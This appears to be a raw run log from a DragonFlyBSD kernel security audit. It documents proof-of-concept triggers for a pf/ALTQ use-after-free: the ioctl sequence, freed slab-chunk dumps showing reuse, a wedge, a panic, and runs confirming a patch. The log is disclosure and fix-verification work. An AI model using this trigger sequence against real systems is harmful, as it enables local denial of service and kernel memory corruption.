⬢ DragonFlyBSD Kernel Audit
DF-3443 / run.log
← back to finding ↓ download raw
[run.log — decisive trigger runs on the stock (unpatched) INVARIANTS kernel;
 guest DragonFly 6.5-DEVELOPMENT #0 X86_64_GENERIC, pf.ko rebuilt with ALTQ]

=== RUN "wedge" (full trigger; output recovered before the session locked up) ===
[+] DIOCXBEGIN(PF_RULESET_ALTQ) ok, ticket=6
[+] DIOCADDALTQ(interface-spec) ok: pif_ifq captured
[+] pif=0xfffff801176bc920 pif_ifq=0xfffff80118812250 ifnet=0xfffff80118812080 altq_subq=0xfffff8008f8af800
    subq (live):           fffff8008f8af800: 0000000000000000 fffffffffffffffe 0000000000000000 fffff80118812250 fffff80118812080 0000000000000000 0000000000000000 0000000000000000
[+] SIOCIFDESTROY(tap0) ok: ifnet+altq_subq freed
[*] DIOCADDALTQ(queue-spec): priq_add_queue -> PRIQ_LOCK on freed ifq ...
    [session observed stuck; probe from a second shell:]
    # ps ax -o pid,stat,wchan,command | grep df3443
      1211 D0     aslize   ./df3443_poc tap0
    [D0 + wchan 'aslize' = lwkt_serialize_adaptive_enter blocked path ->
     PRIQ_LOCK sleeping on the serializer in freed memory, holding pf_token.
     Guest then fully locked up: ssh banner timeout, vm.sh status down.
     serial_wedge_run.log holds the console trail; the final "Fatal trap 9"
     in that log is the fw3443 inspector poking an address on the already-
     wedged box (measurement artifact, not the finding).]

=== RUN "photo" (full trigger, silent variant; freed-chunk A/B photography) ===
[+] DIOCXBEGIN(PF_RULESET_ALTQ) ok, ticket=1
[+] DIOCADDALTQ(interface-spec) ok: pif_ifq captured
[+] pif=0xfffff801176bc920 pif_ifq=0xfffff80118812250 ifnet=0xfffff80118812080 altq_subq=0xfffff8008f8af800
    subq (live):  fffff8008f8af800: 0000000000000000 fffffffffffffffe 0000000000000000 fffff80118812250 fffff80118812080 0 0 0 0
[+] SIOCIFDESTROY(tap0) ok: ifnet+altq_subq freed
[*] kernel-visible *(pif_ifq->altq_subq) = 0xfffff8008f8af800 (original array)
    subq_now (A): fffff8008f8af800: fffff8008f8afc00 fffffffffffffffe 0000000000000000 fffff80118812250 fffff80118812080 0 0 0
                    ^ slab freelist link (c_Next) in word0 of the freed chunk
[!] DIOCADDALTQ(queue-spec) RETURNED (lock entered+released on freed memory)
    subq_now (B): fffff8008f8af800: fffff8008f8afc00 fffffffffffffffe 0000000030706174 0000000000000000 fffff801176bc920 0000000000000000 fffff80117646f78 0000000000000005
                    ^ words 2..7 CHANGED: the chunk was re-allocated/reused
                      ("tap" string + pif pointer inside) during the ioctl
                      window in which PRIQ_LOCK operated on it
[*] churning 48 tap create/destroy cycles (same zone)
[*] pf ioctls still responsive, trying DIOCGETALTQS
[+] DIOCGETALTQS ok (pf not wedged, nr=0)
RC=0

=== RUN "panic" (first trigger, PoC v2, no inspector) ===
[+ ... same setup ...]
[+] SIOCIFDESTROY(tap0) ok
[*] DIOCADDALTQ(queue-spec) issued
    [~1 min later, serial console:]
    panic: assertion "(((intptr_t)chunk ^ (intptr_t)z) & ZoneMask) == 0" failed
    in chunk_mark_free at /usr/src/sys/kern/kern_slaballoc.c:1675
    (see panic.txt / serial_wedge_run.log)

=== CONTROL RUN (--nodestroy, live tap0) ===
[+] DIOCXBEGIN ok / [+] interface-spec ok / [.] keeping tap0 alive
[!] DIOCADDALTQ(queue-spec) RETURNED  (normal, live serializer)
[+] DIOCGETALTQS ok -- no panic, no wedge

=== FIX RUNS (patched kernel #1 Sat Sep 12 20:32:25, fix.diff applied) ===
trigger:   df3443_poc: DIOCADDALTQ(queue-spec): Operation not supported by device  <- clean ENODEV
           subq_now (A) == (B) byte-identical; freelist link 0xfffff8008d3ce100 UNTOUCHED
           churn + DIOCGETALTQS ok; guest healthy
control:   DIOCADDALTQ(queue-spec) RETURNED (no regression on the live path)